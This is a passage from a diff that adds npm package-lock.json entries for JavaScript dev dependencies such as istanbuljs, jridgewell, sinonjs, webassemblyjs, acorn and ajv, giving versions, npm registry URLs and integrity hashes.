+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
+ "dependencies": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+ "dev": true,
+ "dependencies": {
+ "locate-path": "^5.0.0",
+ "path-exists": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/js-yaml": {
+ "version": "3.14.1",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+ "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+ "dev": true,
+ "dependencies": {
+ "argparse": "^1.0.7",
+ "esprima": "^4.0.0"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+ "dev": true,
+ "dependencies": {
+ "p-locate": "^4.1.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "dependencies": {
+ "p-try": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+ "dev": true,
+ "dependencies": {
+ "p-limit": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+ "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@istanbuljs/schema": {
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
+ "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@jridgewell/gen-mapping": {
+ "version": "0.3.3",
+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
+ "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/set-array": "^1.0.1",
+ "@jridgewell/sourcemap-codec": "^1.4.10",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/resolve-uri": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+ "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/set-array": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
+ "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/source-map": {
+ "version": "0.3.5",
+ "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz",
+ "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.0",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.4.15",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
+ "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
+ "dev": true
+ },
+ "node_modules/@jridgewell/trace-mapping": {
+ "version": "0.3.18",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz",
+ "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/resolve-uri": "3.1.0",
+ "@jridgewell/sourcemap-codec": "1.4.14"
+ }
+ },
+ "node_modules/@jridgewell/trace-mapping/node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.4.14",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+ "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==",
+ "dev": true
+ },
+ "node_modules/@nodelib/fs.scandir": {
+ "version": "2.1.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+ "dev": true,
+ "dependencies": {
+ "@nodelib/fs.stat": "2.0.5",
+ "run-parallel": "^1.1.9"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.stat": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+ "dev": true,
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.walk": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+ "dev": true,
+ "dependencies": {
+ "@nodelib/fs.scandir": "2.1.5",
+ "fastq": "^1.6.0"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@sinonjs/commons": {
+ "version": "1.8.6",
+ "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz",
+ "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==",
+ "dev": true,
+ "dependencies": {
+ "type-detect": "4.0.8"
+ }
+ },
+ "node_modules/@sinonjs/fake-timers": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-7.1.2.tgz",
+ "integrity": "sha512-iQADsW4LBMISqZ6Ci1dupJL9pprqwcVFTcOsEmQOEhW+KLCVn/Y4Jrvg2k19fIHCp+iFprriYPTdRcQR8NbUPg==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.7.0"
+ }
+ },
+ "node_modules/@sinonjs/formatio": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz",
+ "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1",
+ "@sinonjs/samsam": "^3.1.0"
+ }
+ },
+ "node_modules/@sinonjs/formatio/node_modules/@sinonjs/samsam": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz",
+ "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.3.0",
+ "array-from": "^2.1.1",
+ "lodash": "^4.17.15"
+ }
+ },
+ "node_modules/@sinonjs/samsam": {
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.1.3.tgz",
+ "integrity": "sha512-nhOb2dWPeb1sd3IQXL/dVPnKHDOAFfvichtBf4xV00/rU1QbPCQqKMbvIheIjqwVjh7qIgf2AHTHi391yMOMpQ==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.6.0",
+ "lodash.get": "^4.4.2",
+ "type-detect": "^4.0.8"
+ }
+ },
+ "node_modules/@sinonjs/text-encoding": {
+ "version": "0.7.2",
+ "resolved": "https://registry.npmjs.org/@sinonjs/text-encoding/-/text-encoding-0.7.2.tgz",
+ "integrity": "sha512-sXXKG+uL9IrKqViTtao2Ws6dy0znu9sOaP1di/jKGW1M6VssO8vlpXCQcpZ+jisQ1tTFAC5Jo/EOzFbggBagFQ==",
+ "dev": true
+ },
+ "node_modules/@tootallnate/once": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
+ "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/@types/eslint": {
+ "version": "8.44.0",
+ "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.0.tgz",
+ "integrity": "sha512-gsF+c/0XOguWgaOgvFs+xnnRqt9GwgTvIks36WpE6ueeI4KCEHHd8K/CKHqhOqrJKsYH8m27kRzQEvWXAwXUTw==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@types/estree": "*",
+ "@types/json-schema": "*"
+ }
+ },
+ "node_modules/@types/eslint-scope": {
+ "version": "3.7.4",
+ "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.4.tgz",
+ "integrity": "sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@types/eslint": "*",
+ "@types/estree": "*"
+ }
+ },
+ "node_modules/@types/estree": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz",
+ "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@types/json-schema": {
+ "version": "7.0.12",
+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.12.tgz",
+ "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@types/node": {
+ "version": "20.4.2",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-20.4.2.tgz",
+ "integrity": "sha512-Dd0BYtWgnWJKwO1jkmTrzofjK2QXXcai0dmtzvIBhcA+RsG5h8R3xlyta0kGOZRNfL9GuRtb1knmPEhQrePCEw==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@ungap/promise-all-settled": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz",
+ "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==",
+ "dev": true
+ },
+ "node_modules/@webassemblyjs/ast": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz",
+ "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/helper-numbers": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
+ }
+ },
+ "node_modules/@webassemblyjs/floating-point-hex-parser": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
+ "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@webassemblyjs/helper-api-error": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
+ "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@webassemblyjs/helper-buffer": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz",
+ "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@webassemblyjs/helper-numbers": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
+ "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/floating-point-hex-parser": "1.11.6",
+ "@webassemblyjs/helper-api-error": "1.11.6",
+ "@xtuc/long": "4.2.2"
+ }
+ },
+ "node_modules/@webassemblyjs/helper-wasm-bytecode": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
+ "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@webassemblyjs/helper-wasm-section": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz",
+ "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-buffer": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/wasm-gen": "1.11.6"
+ }
+ },
+ "node_modules/@webassemblyjs/ieee754": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
+ "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@xtuc/ieee754": "^1.2.0"
+ }
+ },
+ "node_modules/@webassemblyjs/leb128": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
+ "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@xtuc/long": "4.2.2"
+ }
+ },
+ "node_modules/@webassemblyjs/utf8": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
+ "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@webassemblyjs/wasm-edit": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz",
+ "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-buffer": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/helper-wasm-section": "1.11.6",
+ "@webassemblyjs/wasm-gen": "1.11.6",
+ "@webassemblyjs/wasm-opt": "1.11.6",
+ "@webassemblyjs/wasm-parser": "1.11.6",
+ "@webassemblyjs/wast-printer": "1.11.6"
+ }
+ },
+ "node_modules/@webassemblyjs/wasm-gen": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz",
+ "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/ieee754": "1.11.6",
+ "@webassemblyjs/leb128": "1.11.6",
+ "@webassemblyjs/utf8": "1.11.6"
+ }
+ },
+ "node_modules/@webassemblyjs/wasm-opt": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz",
+ "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-buffer": "1.11.6",
+ "@webassemblyjs/wasm-gen": "1.11.6",
+ "@webassemblyjs/wasm-parser": "1.11.6"
+ }
+ },
+ "node_modules/@webassemblyjs/wasm-parser": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz",
+ "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@webassemblyjs/helper-api-error": "1.11.6",
+ "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
+ "@webassemblyjs/ieee754": "1.11.6",
+ "@webassemblyjs/leb128": "1.11.6",
+ "@webassemblyjs/utf8": "1.11.6"
+ }
+ },
+ "node_modules/@webassemblyjs/wast-printer": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz",
+ "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@webassemblyjs/ast": "1.11.6",
+ "@xtuc/long": "4.2.2"
+ }
+ },
+ "node_modules/@xtuc/ieee754": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+ "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/@xtuc/long": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/abab": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
+ "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==",
+ "dev": true
+ },
+ "node_modules/acorn": {
+ "version": "8.10.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz",
+ "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==",
+ "dev": true,
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/acorn-globals": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
+ "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
+ "dev": true,
+ "dependencies": {
+ "acorn": "^7.1.1",
+ "acorn-walk": "^7.1.1"
+ }
+ },
+ "node_modules/acorn-globals/node_modules/acorn": {
+ "version": "7.4.1",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+ "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+ "dev": true,
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/acorn-import-assertions": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz",
+ "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==",
+ "dev": true,
+ "peer": true,
+ "peerDependencies": {
+ "acorn": "^8"
+ }
+ },
+ "node_modules/acorn-jsx": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+ "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+ "dev": true,
+ "peerDependencies": {
+ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
+ }
+ },
+ "node_modules/acorn-walk": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
+ "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/agent-base": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+ "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+ "dev": true,
+ "dependencies": {
+ "debug": "4"
+ },
+ "engines": {
+ "node": ">= 6.0.0"
+ }
+ },
+ "node_modules/aggregate-error": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+ "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+ "dev": true,
+ "dependencies": {
+ "clean-stack": "^2.0.0",
+ "indent-string": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ajv": {
+ "version": "6.12.6",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "dev": true,
+ "dependencies": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/epoberezkin"
+ }
+ },
+ "node_modules/ajv-keywords": {
+ "version": "3.5.2",
+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+ "dev": true,
+ "peer": true,
+ "peerDependencies": {
+ "ajv": "^6.9.1"
+ }
+ },
+ "node_modules/ansi-colors": {
+ "version": "4.1.3",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz",
+ "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/ansi-cyan": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-cyan/-/ansi-cyan-0.1.1.tgz",
